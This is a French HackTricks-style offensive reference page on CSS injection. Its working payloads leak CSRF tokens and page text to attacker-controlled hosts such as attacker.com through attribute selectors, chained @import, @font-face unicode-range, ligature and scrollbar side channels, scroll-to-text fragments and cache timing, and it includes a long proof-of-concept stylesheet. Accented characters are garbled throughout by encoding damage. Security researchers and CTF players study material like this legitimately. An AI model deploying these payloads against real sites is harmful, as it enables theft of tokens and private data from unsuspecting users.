CSS Injection
Reading time: 23 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
CSS Injection
SĂ©lecteur d'attribut
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs name
et value
d'un élément input
. Si l'attribut de valeur de l'élément d'entrée commence par un caractÚre spécifique, une ressource externe prédéfinie est chargée :
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Cependant, cette approche présente une limitation lorsqu'il s'agit d'éléments d'entrée cachés (type="hidden"
) car les éléments cachés ne chargent pas les arriÚre-plans.
Contournement pour les éléments cachés
Pour contourner cette limitation, vous pouvez cibler un élément frÚre suivant en utilisant le combinatoire de frÚres généraux ~
. La rÚgle CSS s'applique alors à tous les frÚres suivant l'élément d'entrée caché, ce qui entraßne le chargement de l'image d'arriÚre-plan :
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir ici.
Prérequis pour l'injection CSS
Pour que la technique d'injection CSS soit efficace, certaines conditions doivent ĂȘtre remplies :
- Longueur de la charge utile : Le vecteur d'injection CSS doit prendre en charge des charges utiles suffisamment longues pour accueillir les sélecteurs conçus.
- Réévaluation CSS : Vous devez avoir la capacité d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des charges utiles nouvellement générées.
- Ressources externes : La technique suppose la capacitĂ© d'utiliser des images hĂ©bergĂ©es Ă l'extĂ©rieur. Cela peut ĂȘtre restreint par la politique de sĂ©curitĂ© de contenu (CSP) du site.
SĂ©lecteur d'attribut aveugle
Comme expliqué dans cet article, il est possible de combiner les sélecteurs :has
et :not
pour identifier du contenu mĂȘme Ă partir d'Ă©lĂ©ments aveugles. Cela est trĂšs utile lorsque vous n'avez aucune idĂ©e de ce qui se trouve Ă l'intĂ©rieur de la page web chargeant l'injection CSS.
Il est Ă©galement possible d'utiliser ces sĂ©lecteurs pour extraire des informations de plusieurs blocs du mĂȘme type comme dans :
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combiner cela avec la technique @import suivante permet d'exfiltrer beaucoup d'info en utilisant l'injection CSS depuis des pages aveugles avec blind-css-exfiltration.
@import
La technique prĂ©cĂ©dente a quelques inconvĂ©nients, vĂ©rifiez les prĂ©requis. Vous devez soit ĂȘtre capable de envoyer plusieurs liens Ă la victime, soit ĂȘtre capable de iframe la page vulnĂ©rable Ă l'injection CSS.
Cependant, il existe une autre technique astucieuse qui utilise CSS @import
pour améliorer la qualité de la technique.
Ceci a été d'abord montré par Pepe Vila et cela fonctionne comme suit :
Au lieu de charger la mĂȘme page encore et encore avec des dizaines de charges utiles diffĂ©rentes Ă chaque fois (comme dans la prĂ©cĂ©dente), nous allons charger la page juste une fois et juste avec un import vers le serveur de l'attaquant (c'est la charge utile Ă envoyer Ă la victime) :
@import url("//attacker.com:5001/start?");
- L'importation va recevoir un script CSS des attaquants et le navigateur va le charger.
- La premiĂšre partie du script CSS que l'attaquant va envoyer est un autre
@import
vers le serveur des attaquants à nouveau. - Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons fuir quelques caractÚres puis répondre à cet import avec la charge utile pour fuir les suivants.
- La deuxiĂšme et plus grande partie de la charge utile va ĂȘtre une charge utile de fuite de sĂ©lecteur d'attribut
- Cela enverra au serveur des attaquants le premier caractĂšre du secret et le dernier.
- Une fois que le serveur des attaquants a reçu le premier et le dernier caractÚre du secret, il va répondre à l'importation demandée à l'étape 2.
- La rĂ©ponse va ĂȘtre exactement la mĂȘme que les Ă©tapes 2, 3 et 4, mais cette fois-ci, elle essaiera de trouver le deuxiĂšme caractĂšre du secret puis l'avant-dernier.
L'attaquant va suivre cette boucle jusqu'Ă ce qu'il parvienne Ă fuir complĂštement le secret.
Vous pouvez trouver le code original de Pepe Vila pour exploiter cela ici ou vous pouvez trouver presque le mĂȘme code mais commentĂ© ici.
note
Le script essaiera de découvrir 2 caractÚres à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :
/* value^= pour correspondre au début de la valeur*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= pour correspondre Ă la fin de la valeur*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Cela permet au script de fuir le secret plus rapidement.
warning
Parfois, le script ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet et il continuera en avant (dans le préfixe) et en arriÚre (dans le suffixe) et à un moment donné, il se bloquera.
Pas de soucis, vérifiez simplement la sortie car vous pouvez voir le drapeau là .
Autres sélecteurs
Autres façons d'accéder aux parties du DOM avec sélecteurs CSS :
.class-to-search:nth-child(2)
: Cela recherchera le deuxiÚme élément avec la classe "class-to-search" dans le DOM.- Sélecteur
:empty
: Utilisé par exemple dans ce rapport:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
XS-Search basé sur les erreurs
Référence : Attaque basée sur CSS : Abus de unicode-range de @font-face , PoC XS-Search basé sur les erreurs par @terjanq
L'intention générale est d'utiliser une police personnalisée d'un point de terminaison contrÎlé et de s'assurer que le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (favicon.ico
) ne peut pas ĂȘtre chargĂ©e.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Utilisation de police personnalisée :
- Une police personnalisée est définie à l'aide de la rÚgle
@font-face
dans une balise<style>
dans la section<head>
. - La police est nommée
poc
et est récupérée depuis un point de terminaison externe (http://attacker.com/?leak
). - La propriété
unicode-range
est définie surU+0041
, ciblant le caractÚre Unicode spécifique 'A'.
- ĂlĂ©ment Object avec texte de secours :
- Un élément
<object>
avecid="poc0"
est créé dans la section<body>
. Cet élément essaie de charger une ressource depuishttp://192.168.0.1/favicon.ico
. - La
font-family
pour cet élément est définie sur'poc'
, comme défini dans la section<style>
. - Si la ressource (
favicon.ico
) échoue à se charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise<object>
est affiché. - Le contenu de secours ('A') sera rendu en utilisant la police personnalisée
poc
si la ressource externe ne peut pas ĂȘtre chargĂ©e.
Stylisation du fragment de texte défilant
La pseudo-classe :target
est utilisée pour sélectionner un élément ciblé par un fragment d'URL, comme spécifié dans la spécification des sélecteurs CSS Niveau 4. Il est crucial de comprendre que ::target-text
ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
Une préoccupation de sécurité surgit lorsque des attaquants exploitent la fonctionnalité Scroll-to-text, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une rÚgle CSS comme ceci :
:target::before {
content: url(target.png);
}
Dans de tels scénarios, si le texte "Administrator" est présent sur la page, la ressource target.png
est demandĂ©e au serveur, indiquant la prĂ©sence du texte. Une instance de cette attaque peut ĂȘtre exĂ©cutĂ©e via une URL spĂ©cialement conçue qui intĂšgre le CSS injectĂ© avec un fragment Scroll-to-text :
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Ici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrator" via le fragment Scroll-to-text (#:~:text=Administrator
). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
Pour l'attĂ©nuation, les points suivants doivent ĂȘtre notĂ©s :
- Correspondance STTF Contraignante : Le fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou des jetons arbitraires.
- Restriction aux Contextes de Navigation de Niveau Supérieur : Le STTF fonctionne uniquement dans des contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
- Nécessité d'une Activation par l'Utilisateur : Le STTF nécessite un geste d'activation par l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que par des navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque que des attaques soient automatisées sans interaction de l'utilisateur. Néanmoins, l'auteur du billet de blog souligne des conditions spécifiques et des contournements (par exemple, ingénierie sociale, interaction avec des extensions de navigateur courantes) qui pourraient faciliter l'automatisation de l'attaque.
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Vous pouvez consulter un exploit utilisant cette technique pour un CTF ici.
@font-face / unicode-range
Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront rassemblées que si ces valeurs unicode sont présentes dans la page. Par exemple :
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
Lorsque vous accĂ©dez Ă cette page, Chrome et Firefox rĂ©cupĂšrent "?A" et "?B" car le nĆud de texte de sensitive-information contient les caractĂšres "A" et "B". Mais Chrome et Firefox ne rĂ©cupĂšrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
Exfiltration de nĆud de texte (I) : ligatures
RĂ©fĂ©rence : Wykradanie danych w Ćwietnym stylu â czyli jak wykorzystaÄ CSS-y do atakĂłw na webaplikacjÄ
La technique dĂ©crite implique l'extraction de texte d'un nĆud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus implique plusieurs Ă©tapes :
- Création de polices personnalisées :
- Des polices SVG sont créées avec des glyphes ayant un attribut
horiz-adv-x
, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractÚres. - Exemple de glyphe SVG :
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, oĂč "XY" dĂ©signe une sĂ©quence de deux caractĂšres. - Ces polices sont ensuite converties au format woff Ă l'aide de fontforge.
- DĂ©tection des changements de largeur :
- CSS est utilisé pour s'assurer que le texte ne se renvoie pas (
white-space: nowrap
) et pour personnaliser le style de la barre de défilement. - L'apparition d'une barre de défilement horizontale, stylisée de maniÚre distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractÚres spécifique, est présente dans le texte.
- Le CSS impliqué :
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Processus d'exploitation :
- Ătape 1 : Des polices sont crĂ©Ă©es pour des paires de caractĂšres avec une largeur substantielle.
- Ătape 2 : Un truc basĂ© sur la barre de dĂ©filement est utilisĂ© pour dĂ©tecter quand le glyphe de grande largeur (ligature pour une paire de caractĂšres) est rendu, indiquant la prĂ©sence de la sĂ©quence de caractĂšres.
- Ătape 3 : Lors de la dĂ©tection d'une ligature, de nouveaux glyphes reprĂ©sentant des sĂ©quences de trois caractĂšres sont gĂ©nĂ©rĂ©s, incorporant la paire dĂ©tectĂ©e et ajoutant un caractĂšre prĂ©cĂ©dent ou suivant.
- Ătape 4 : La dĂ©tection de la ligature de trois caractĂšres est effectuĂ©e.
- Ătape 5 : Le processus se rĂ©pĂšte, rĂ©vĂ©lant progressivement tout le texte.
- Optimisation :
- La méthode d'initialisation actuelle utilisant
<meta refresh=...
n'est pas optimale. - Une approche plus efficace pourrait impliquer le truc CSS
@import
, améliorant les performances de l'exploitation.
Exfiltration de nĆud de texte (II) : fuite du charset avec une police par dĂ©faut (ne nĂ©cessitant pas d'actifs externes)
Référence : PoC using Comic Sans by @Cgvwzq & @Terjanq
Ce truc a Ă©tĂ© publiĂ© dans ce fil Slackers. Le charset utilisĂ© dans un nĆud de texte peut ĂȘtre divulguĂ© en utilisant les polices par dĂ©faut installĂ©es dans le navigateur : aucune police externe -ou personnalisĂ©e- n'est nĂ©cessaire.
Le concept repose sur l'utilisation d'une animation pour Ă©largir progressivement la largeur d'un div
, permettant à un caractÚre à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections :
- Préfixe : La ligne initiale.
- Suffixe : La ou les lignes suivantes.
Les Ă©tapes de transition des caractĂšres apparaĂźtraient comme suit :
C
ADB
CA
DB
CAD
B
CADB
Au cours de cette transition, le truc unicode-range est utilisé pour identifier chaque nouveau caractÚre à mesure qu'il rejoint le préfixe. Cela est réalisé en changeant la police en Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révÚle indirectement la présence d'un nouveau caractÚre dans le préfixe.
Bien que cette méthode permette la détection de caractÚres uniques à mesure qu'ils apparaissent, elle ne précise pas quel caractÚre est répété, seulement qu'une répétition a eu lieu.
note
En gros, le unicode-range est utilisé pour détecter un char, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.
Lorsque le char est trouvé, il est donné à la police Comic Sans préinstallée, qui rend le char plus grand et déclenche une barre de défilement qui fuit le char trouvé.
VĂ©rifiez le code extrait du PoC :
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Exfiltration de nĆud de texte (III) : fuite du charset avec une police par dĂ©faut en cachant des Ă©lĂ©ments (ne nĂ©cessitant pas de ressources externes)
Référence : Cela est mentionné comme une solution infructueuse dans ce rapport
Ce cas est trĂšs similaire au prĂ©cĂ©dent, cependant, dans ce cas, l'objectif de rendre des chars spĂ©cifiques plus grands que d'autres est de cacher quelque chose comme un bouton pour ne pas ĂȘtre pressĂ© par le bot ou une image qui ne sera pas chargĂ©e. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un char spĂ©cifique est prĂ©sent dans le texte.
Exfiltration de nĆud de texte (III) : fuite du charset par temporisation de cache (ne nĂ©cessitant pas de ressources externes)
Référence : Cela est mentionné comme une solution infructueuse dans ce rapport
Dans ce cas, nous pourrions essayer de fuir si un char est dans le texte en chargeant une police factice de la mĂȘme origine :
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Si une correspondance est trouvée, la police sera chargée depuis /static/bootstrap.min.css?q=1
. Bien qu'elle ne se charge pas avec succĂšs, le navigateur devrait la mettre en cache, et mĂȘme s'il n'y a pas de cache, il existe un mĂ©canisme de 304 non modifiĂ©, donc la rĂ©ponse devrait ĂȘtre plus rapide que d'autres choses.
Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, aprÚs des tests, j'ai constaté que le premier problÚme est que la vitesse n'est pas trÚs différente, et le deuxiÚme problÚme est que le bot utilise le drapeau disk-cache-size=1
, ce qui est vraiment réfléchi.
Exfiltration de nĆud texte (III) : fuite du charset en chargeant des centaines de "polices" locales (ne nĂ©cessitant pas d'actifs externes)
Référence : Cela est mentionné comme une solution infructueuse dans cet article
Dans ce cas, vous pouvez indiquer CSS pour charger des centaines de fausses polices de la mĂȘme origine lorsqu'une correspondance se produit. De cette façon, vous pouvez mesurer le temps qu'il faut et dĂ©couvrir si un caractĂšre apparaĂźt ou non avec quelque chose comme :
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Et le code du bot ressemble Ă ceci :
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Donc, si la police ne correspond pas, le temps de rĂ©ponse lors de la visite du bot devrait ĂȘtre d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requĂȘtes seront envoyĂ©es pour rĂ©cupĂ©rer la police, ce qui entraĂźnera une activitĂ© continue sur le rĂ©seau. En consĂ©quence, il faudra plus de temps pour satisfaire la condition d'arrĂȘt et recevoir la rĂ©ponse. Par consĂ©quent, le temps de rĂ©ponse peut ĂȘtre utilisĂ© comme un indicateur pour dĂ©terminer s'il y a une correspondance de police.
Références
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.